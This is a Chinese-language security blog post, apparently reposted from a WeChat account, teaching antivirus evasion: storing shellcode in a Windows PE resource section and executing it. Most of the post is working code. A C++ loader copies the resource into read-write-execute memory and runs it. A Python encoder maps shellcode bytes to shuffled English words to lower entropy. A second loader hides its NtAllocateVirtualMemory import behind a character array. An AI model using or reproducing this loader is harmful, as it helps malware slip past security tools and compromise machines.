基础免杀 从.rsrc加载shellcode上线

admin 2025年1月2日10:22:11评论10 views字数 5655阅读18分51秒阅读模式
.rsrc 段是PE文件中的一个特定部分,专门用来存储资源数据。这些资源通常包括图标、位图、字符串表、对话框、菜单、版本信息、字体等

具体的shellcode加载方式不在此探讨 在这使用传统的指针执行

WindowsAPI

需要用到如下API

FindResource 获取指定资源的信息块的句柄 传给LoadResource以获取资源的句柄

LoadResource 获取资源的句柄

LockResource 指向资源第一个字节的指针

SizeofResource 指定资源的大小

具体过程

先添加资源

基础免杀 从.rsrc加载shellcode上线

将shellcode修改扩展名为ico 并导入

资源类型为RCDATA表示自定义数据

基础免杀 从.rsrc加载shellcode上线
基础免杀 从.rsrc加载shellcode上线

HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);

HGLOBAL hGlobal = LoadResource(NULL, hRsrc);

从当前进程中查找资源

LPVOID addr = LockResource(hGlobal);

获取地址

size_t len = SizeofResource(NULL, hRsrc);

获取资源大小

.rsrc的内存属性是只读 开一块新内存拷过去

LPVOID buf = VirtualAlloc(NULL, NULL, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

memcpy(buf, addr, len);

typedef void (*ShellcodeFunc)();

ShellcodeFunc execShellcode = (ShellcodeFunc)buf;

execShellcode();

 

执行

基础免杀 从.rsrc加载shellcode上线

直接把shellcode弄进去

通过die可以看见此时.rsrc的熵值极高 达到7.99

基础免杀 从.rsrc加载shellcode上线

解决熵值过高的问题

这里选择讲shellcode转英文单词 从资源文件读取出来之后再解密

import random

import sys

ascii_strings = [

'Ably', 'Afar', 'Area', 'Army', 'Away', 'Baby', 'Back', 'Ball', 'Band', 'Bank', 'Base', 'Bear', 'Beat', 'Bill', 'Body', 'Book',

'Burn', 'Call', 'Card', 'Care', 'Case', 'Cash', 'Cast', 'City', 'Club', 'Come', 'Cook', 'Cope', 'Cost', 'Damn', 'Dare', 'Date',

'Dead', 'Deal', 'Deep', 'Deny', 'Door', 'Down', 'Draw', 'Drop', 'Duly', 'Duty', 'Earn', 'East', 'Easy', 'Edge', 'Else', 'Even',

'Ever', 'Face', 'Fact', 'Fail', 'Fair', 'Fall', 'Farm', 'Fast', 'Fear', 'Feel', 'File', 'Fill', 'Film', 'Find', 'Fire', 'Firm',

'Fish', 'Flat', 'Food', 'Foot', 'Form', 'Full', 'Fund', 'Gain', 'Game', 'Girl', 'Give', 'Goal', 'Gold', 'Good', 'Grow', 'Hair',

'Half', 'Hall', 'Hand', 'Hang', 'Hard', 'Hate', 'Have', 'Head', 'Hear', 'Help', 'Here', 'Hide', 'High', 'Hold', 'Home', 'Hope',

'Hour', 'Hurt', 'Idea', 'Idly', 'Jack', 'John', 'Join', 'Jump', 'Just', 'Keep', 'Kill', 'Kind', 'King', 'Know', 'Lack', 'Lady',

'Land', 'Last', 'Late', 'Lead', 'Lend', 'Life', 'Lift', 'Like', 'Line', 'Link', 'List', 'Live', 'Long', 'Look', 'Lord', 'Lose',

'Loss', 'Loud', 'Love', 'Make', 'Mark', 'Mary', 'Meet', 'Mind', 'Miss', 'Move', 'Much', 'Must', 'Name', 'Near', 'Need', 'News',

'Nice', 'Note', 'Okay', 'Once', 'Only', 'Open', 'Over', 'Page', 'Pain', 'Pair', 'Park', 'Part', 'Pass', 'Past', 'Path', 'Paul',

'Pick', 'Plan', 'Play', 'Post', 'Pray', 'Pull', 'Push', 'Rain', 'Rate', 'Read', 'Real', 'Rely', 'Rest', 'Ride', 'Ring', 'Rise',

'Risk', 'Road', 'Rock', 'Role', 'Roll', 'Room', 'Rule', 'Sale', 'Save', 'Seat', 'Seek', 'Seem', 'Sell', 'Send', 'Shed', 'Shop',

'Show', 'Shut', 'Side', 'Sign', 'Sing', 'Site', 'Size', 'Skin', 'Slip', 'Slow', 'Solo', 'Soon', 'Sort', 'Star', 'Stay', 'Step',

'Stop', 'Suit', 'Sure', 'Take', 'Talk', 'Task', 'Team', 'Tell', 'Tend', 'Term', 'Test', 'Text', 'That', 'Then', 'This', 'Thus',

'Time', 'Tour', 'Town', 'Tree', 'Turn', 'Type', 'Unit', 'User', 'Vary', 'Very', 'View', 'Vote', 'Wait', 'Wake', 'Walk', 'Wall',

'Want', 'Warn', 'Wash', 'Wear', 'Week', 'When', 'Wide', 'Wife', 'Will', 'Wind', 'Wine', 'Wish', 'Wood', 'Word', 'Work', 'Year'

]

# 多态化 每次table不一样

random.shuffle(ascii_strings)

if len(sys.argv) < 2:

print("Usage: python script.py <input_file>")

sys.exit(1)

with open(sys.argv[1], "rb") as f:

raw = f.read()

encoded = "".join([ascii_strings[x % len(ascii_strings)] + "x00" for x in raw])

with open("table.ico", "w") as fh:

fh.write('''"{}"'''.format("", "".join(ascii_strings)))

with open("shellcode.ico", "w") as fh:

fh.write('''{}'''.format(encoded.replace('"', '\"')))

#include <Windows.h>

#include <iostream>

#include "resource.h"

#include <vector>

#include <string>

#include <sstream>

#include <unordered_map>

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(

IN HANDLE ProcessHandle,

IN OUT PVOID* BaseAddress,

IN ULONG ZeroBits,

IN OUT PSIZE_T RegionSize,

IN ULONG AllocationType,

IN ULONG Protect);

using namespace std;

vector<string> parse_resource_data(LPVOID addr, size_t len) {

unsigned char* data = reinterpret_cast<unsigned char*>(addr);

vector<string> parsed_strings;

stringstream current_string;

for (size_t i = 0; i < len; ++i) {

if (data[i] == 0x22) {  // 双引号ASCII码

if (!current_string.str().empty()) {

parsed_strings.push_back(current_string.str());

current_string.str("");

}

}

else if (data[i] != 0x2c && data[i] != 0x20) {

current_string << static_cast<char>(data[i]);

}

}

return parsed_strings;

}

vector<unsigned char> restoreShellcode(LPVOID addr, size_t len, const vector<string>& table) {

unordered_map<string, int> indexMap;

for (size_t i = 0; i < table.size(); ++i) {

indexMap[table[i]] = i;

}

vector<unsigned char> shellcode;

string current_string;

unsigned char* data = reinterpret_cast<unsigned char*>(addr);

for (size_t i = 0; i < len; ++i) {

if (data[i] == 0x00) {  // 遇到0x00表示一个字符串结束

if (!current_string.empty()) {

auto it = indexMap.find(current_string);

if (it != indexMap.end()) {

// 将对应的索引添加到 shellcode 中

shellcode.push_back(it->second);

}

current_string.clear();

}

}

else {

current_string += static_cast<char>(data[i]);

}

}

return shellcode;

}

int main(){

HRSRC hRsrcTable = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA2), RT_RCDATA);

HGLOBAL hGlobalTable = LoadResource(NULL, hRsrcTable);

LPVOID addr = LockResource(hGlobalTable);

size_t len = SizeofResource(NULL, hRsrcTable);

vector<string> table = parse_resource_data(addr, len);

HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);

HGLOBAL hGlobal = LoadResource(NULL, hRsrc);

addr = LockResource(hGlobal);

len = SizeofResource(NULL, hRsrc);

auto shellcode = restoreShellcode(addr, len, table);

LPVOID lpMem = nullptr;

SIZE_T uSize = shellcode.size();

const char str1[] = { 'N','t','A','l','l','o','c','a','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y','�' };

pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"), str1);

NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &lpMem, 0, &uSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

memcpy(lpMem, shellcode.data(), shellcode.size());

typedef void (*ShellcodeFunc)();

ShellcodeFunc execShellcode = (ShellcodeFunc)lpMem;

execShellcode();

return 0;

}

 

基础免杀 从.rsrc加载shellcode上线
基础免杀 从.rsrc加载shellcode上线

参考

https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources

https://rileykidd.com/2022/06/10/obfuscating-shellcode-entropy/

【作者】:Arcueid

【来源】:https://xz.aliyun.com/t/16276

 

原文始发于微信公众号(船山信安):基础免杀 从.rsrc加载shellcode上线

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日10:22:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基础免杀 从.rsrc加载shellcode上线https://cn-sec.com/archives/3493337.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息